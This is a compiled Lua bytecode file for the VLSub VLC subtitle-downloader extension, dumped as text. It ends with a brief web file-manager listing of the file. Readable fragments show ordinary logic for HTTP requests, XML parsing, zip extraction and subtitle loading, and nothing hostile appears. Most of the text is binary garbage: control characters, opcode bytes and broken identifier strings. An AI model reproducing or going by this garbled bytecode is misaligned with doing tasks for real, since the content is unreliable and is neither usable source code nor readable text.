add_valueSubFileName [SubLanguageID] (	SubSumCD CD)�?setMessage<b>langmess_complete:</b>   	mess_resmess_no_res@lua/extensions/VLSub.luaD��������������������������������������������������������������������	mainlistDnbRes
5(for generator)%(for state)%(for control)%i#item#input_table_ENV��L@]��@@����_��#�����get_selectionpairs@lua/extensions/VLSub.lua������������list
selection(for generator)	(for state)	(for control)	indexname_ENV��
)�@�@@�@ǀ�������A݀�@@�A@�V@�A@���F�AG��BB����Aǂ��݂��]��@���LBB^_"�����vlcdirectory_streamstrings	make_urireaddir.pairsstringsuburilen@lua/extensions/VLSub.lua)�����������������������������������������	archivePath)subfileExt)archive)items
)(for generator)&(for state)&(for control)&_$item$_ENV�Q"@F@���@@�F�@�A�@A]@C_F�A�A�BJ���F@B]@�F�AG��G���A��B�CX@C���A��C��C�@����AFAG�����������AG���������AA�@��@�@����ƀAǀ����@����A�BG���AA���ր�AA���րHAH�H��A����H�A���AB	�B	݁́�A�	݁����A�	��	�A
�AJA�
����
V‚��@��@��A��H���B�A�݂��Ac����KG������B@�FBL�A��L��
G�����A�C�D�]BC_FHG��G������]BFBN����]��[B@���@�Aǂ��B���ƂAǂ������ƂAǂ����������O݂�B@�ƂA�B�ǂ����ƂA�B�ǂ��O@��B��CPFAG�����
H�PQF�AGD�G���A��A�DM	�DV���@��BLA�LA��
ǃ��FAGD��D��B���Hǂ����C@C�B�Hǂ��݂�FHG�G����]�����C��C��������@����C�C��C���S�C��H�K��S����C���H��M�T�C���C��T��������T�A�������@��CU�Aǃ��������@��C�Vget_first_sel	mainlistsetMessagelangmess_no_selectionopenSubactionLabelmess_downloadingdisplay_subtitles
itemStoreoptiondownloadBehaviourmanualfile	hasInput<span style='color:#181'><b>mess_dowload_link:</b></span> &nbsp;</span> &nbsp;<a href='ZipDownloadLink'>MovieReleaseName</a>namelangExt.SubLanguageID
SubFormatvlcconfig	cachedirpackagesub�?match/\gmatch[^]+iomkdir0700	dump_zipSubFileName	setErrormess_save_fail &nbsp;
<a href='mess_click_linkmsgdbg[VLsub] tmpFileName: find_subtitle_in_archivemess_not_loaddirfile_touchconfdirPathslash<br>	warn_tagmess_save_warnstrings	make_uri[VLsub] Subtitles files: streamopenwbwriteread�@flushclosecollectgarbageunlinkerr [VLsub] Unable to remove temp: add_subsuccess_tagmess_loaded
error_tag@lua/extensions/VLSub.lua"�����������������������������������������������������������������������������������������������	





"""""""#####$$$$$$%&&&&''''((('())))&%)++++,,,----+..222222266667888888::;;;<<<<<??@@BCCEEEEEEEFFFFFFFJJJJJKKKKKKKMMMMMMPPPQindex"item"link6message7"subfileName="tmp_dirN"
separatorO"current_dirP"(for generator)er(for state)er(for control)erdirfpvarsppfile_target_accesss"tmpFileNamex"subtitleMrl�"target�"stream�"data�"subfile�"_ENVinput_tableSi	-�@A@�@A��A�A����@ƀA݀�@@��AFBGA�A�F�B����FCGA�G�����]���@����A���A�����AD��D�A��setMessageopenSubactionLabel: progressBarContentget	setErrorlangmess_no_responseslash.gzvlcioopenwbwriteflushcollectgarbage@lua/extensions/VLSub.lua-UUUUUUUUUVVVXXYYYYZZ]]]]]^^^^^^__``cccddeffhiurl-dir-subfileName-resp-tmpFileName-tmpFile-_ENVkqF@G@�[@@�F@G��G@�]��[@�F@G��G��@���]@F@G��G�����^�_C_�vlciteminputmsgdbg[VLsub] Adding subtitle :
add_subtitle@lua/extensions/VLSub.luallllllllllmmmmmmmnnnnnnnppqsubPath_ENVu
F@G@���@��@�A��@A]���@��@�A�@���ABAA����A����A��B@݁������mathceilopenSuboptionprogressBarSizeY@1<span style='background-color:#181;color:#181;'>stringrep-</span>1<span style='background-color:#fff;color:#fff;'>@lua/extensions/VLSub.luavvwwwwwvxxxxyzzzzzz{|||||}|~pct
accomplishedleftcontent_ENV��F@[��F@L@��]@�E�L��]@�message	set_textupdate@lua/extensions/VLSub.lua�����������strinput_tabledlg��F@�@@��]@�setMessage
error_tag@lua/extensions/VLSub.lua������mess_ENV��	A�@@��@��AV@�_�<span style='color:#181'><b>lang
mess_success:</b></span> @lua/extensions/VLSub.lua	���������str	_ENV��	A�@@��@��AV@�_�<span style='color:#B23'><b>langmess_error:</b></span> @lua/extensions/VLSub.lua	���������str	_ENV��	A�@@��@��AV@�_�<span style='color:#CF0'><b>lang
mess_warn:</b></span> @lua/extensions/VLSub.lua	���������str	_ENV��'F@�]���A@���A���V����AAǁ�������@�AB�B@�����D�C��B@���C@����@���
parse_urlGET 
 HTTP/1.0Host: 
User-Agent: openSubconfuserAgentHTTPtableconcat
	http_reqT@i@@lua/extensions/VLSub.lua'���������������������������������������url'host'path'header'request'	response'status'	response'_ENV����@�@�ǀ�@�݀��@@�F@GA�G��
A�F@GA�G����]A�F@GA�GA��]AF@GA�G������]����C[�@�����B��L�B��]À@������FC��]��FCC��C]���FCC��C]�����U@�FDP��C�F�D��D�E�C�E@��]CFDZ@�F@GC�GC��]CF@GC�G������]��@��F@GC�G���]C@���G�F[��F�F�GǃF�]��CGA������	݃�C�A������	݃���CH�@����@��_��"vlcnetconnect_tcpPOLLINsendpollrecv�@match(.-
?
)
?
(.*)
parse_header	tonumberContent-LengthstatuscodebodyLenghtY@setMessageopenSubactionLabel: progressBarContent�@close�r@	Location
parse_urltrimgsub^([^%s]+ )([^%s]+)%1(Host: )([^
]*)	http_req@lua/extensions/VLSub.lua�������������������������������������������������������������������������������������������������������������������������������������host�port�request�fd�pollfds�chunk �	response!�
headerStr"�header"�body"�contentLength"�status"�pct#�hostm�pathm�_ENV��
K�@�@@������@@�BAF@G������]�J��J����#�_�	stringgmatch([^%s:]+)(:?)%s([^
]+)
?
statuscode	tonumbersub�?@@lua/extensions/VLSub.lua������������������������dataheader(for generator)(for state)(for control)namesval_ENV��
F@G@�G���]������A���vlcstrings
url_parsehostpathoption@lua/extensions/VLSub.lua
����������url
url_parsed
_ENV9xK��D�B@��@���B���@�A�BAƂA��A�CV������B�����B�D@��	�D��
�B@C	��ƄC�
݄��	@�����D@DŽ�	GGŃ
�D��
�ƄC�
�B
݄��	@�����	�������D@DŽ�	�
@��D�����	�D@D�	�
@��D��D@DŽ�	@��D���ƄC�
݄��	������@	����D@DŽ�	K�D�X@�����D��B�D@��	�D�Bc��BD�B�_�tableinsertvlcstringsresolve_xml_special_charsstringgmatch"[%s
	]*<(%/?)([%w:_]+)(.-)(%/?)>[%s
	]*([^<]*)[%s
	]*/�?removetypenilcollectgarbage@lua/extensions/VLSub.luax			

   !!!!!!#$$%%%%%%&&&&&'))))))***,,,,,-----//00122227789dataxtreexstackxtmpxlevelxopxtagxpxemptyxvalxresolve_xml
x(for generator)t(for state)t(for control)toprtagrpremptyrvalr_ENV;qsK��AA�Ƃ@����CA�A@��C��AB@�C������X�B@�C��@���NA�EA�C
@E���C�MA�X�	���@�	�
DGEG�
�@D
@�EK
EEA�A
@�E�E�����
EA�A
NE�GE��E�������EA�A
@��E�X@	��NA�E
@EA�C
@E��C��MA���
EA�A
GE��E�EA�A
@��E���X�	�E@���	]�
E"C���DC�_�vlcstringsresolve_xml_special_charstableinsertstringgmatch(<(%/?)([%w:]+)(.-)(%/?)>[%s
	]*([^<]*)/memberarray�?removenametypenilcollectgarbage@lua/extensions/VLSub.luas<=>?@ABBBCCCCCEEFHEHIIJJJJKKLMMMMOPPQRRRRRRTTTTTTUUUVVVVVVVXYYZZZZZZ\]^^^^^``abbccccdeefghhiiiiijjjjjjkklllllEEoopqdatastreesstackstmpstmpTagslevelsopstagspsemptysvalsresolve_xml	s(for generator)o(for state)o(for control)oopmtagmpmemptymvalm_ENVs�	A��@�@�@Ae����A��AA�A���vlcstringsconvert_xml_special_charscollectgarbagey������@��C@�@@����CC�C@�@@�C��c��@��(���A��A@���A��A��A�CB��������AC	�C@�@@���C�
A	��A@��@C��X�@��A��A�CB��A������AC	��A@�@@��@��C����A@��A@��E�]�[C�@C	����A@�@C��@C	�@��F�C�]�C	��A@���A��A@�@@@��A��A�CB��A������AC	�@��A�����	�C@D@�CA	���A@��@C@�X����A@�@@���A��A�CB��A������AC	����A�������	��c���pairstableinsertsort�?@typestring
rep <>number	tostring</remove���@��Y���@�����?@lua/extensions/VLSub.lua��������ab@lua/extensions/VLSub.lua�z{���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������data�stack�data_index�k�v�i�tb�(for generator)(for state)(for control)kv(for generator)�(for state)�(for control)�i�tb�_ENVdumplevelparseconvert_xml@lua/extensions/VLSub.luatuvwww���������datalevelstackdumpconvert_xmlparse_ENV���F@�]�@�@�C_F�@G��G���@]��X�������@����trimvlcioopenw@lua/extensions/VLSub.lua�����������������������namef_ENV���F@�]�@�@�C_F�@G��G���@]��X�������@����trimvlcioopenr@lua/extensions/VLSub.lua�����������������������namef_ENV��
,�F@�]�@�@�C_D�ƀ@����݀@�[@������BA�A@�������BBB@�����B��B��c���@����
trimvlcioreaddirstringmatch^[^%s]+.+$tableinsertpathslash	filename@lua/extensions/VLSub.lua,��������������������������������������������path,
dir_list_cmd
,list,(for generator)'(for state)'(for control)'_%entry%_ENV��F@G@����^�_�stringmatch
^(%a:.+)$@lua/extensions/VLSub.lua�������path_ENV��@�F@�]�X@��F�@�]�[@@�C_F�@G���@^�_�trimis_window_pathstringmatch^%a?%:?[\%w%p%s§¤]+$@lua/extensions/VLSub.lua���������������������path_ENV��@@�A_F@@G�����^_�stringgsub^[
%s]*(.-)[
%s]*$%1@lua/extensions/VLSub.lua������������str_ENV��F@G@�����^_�stringgsub{[^}]+}@lua/extensions/VLSub.lua��������str_ENV@lua/extensions/VLSub.lua�#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������				







  !!""##$$%%&&''(())**++,,--..//00112233445566778899::;;<<==>>??@@AABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMNNOOPPPQQQRRRSSTTTUUVVVWWXXXYYYZZZ[[[\\]]]^^^abcgqgs�s����������������������� ) +2+4F4HJHLNLPRPT`Tdndp�p�����:<E<GNGPcPe�e����������� !!"""###$$%%%&&&'''((()))***+++,,,---.../0011122233344456jjkvvwwxxy�����������������������������������������������������""#llmttuw�w�������������Q�SiSkqkuu���������������������������9;q;s�s����������������������optionsb�
languages��lang_os_to_ison�dlgo�input_tablep�select_confq�_ENV

Filemanager

Name Type Size Permission Actions
VLSub.luac File 84.7 KB 0644
Filemanager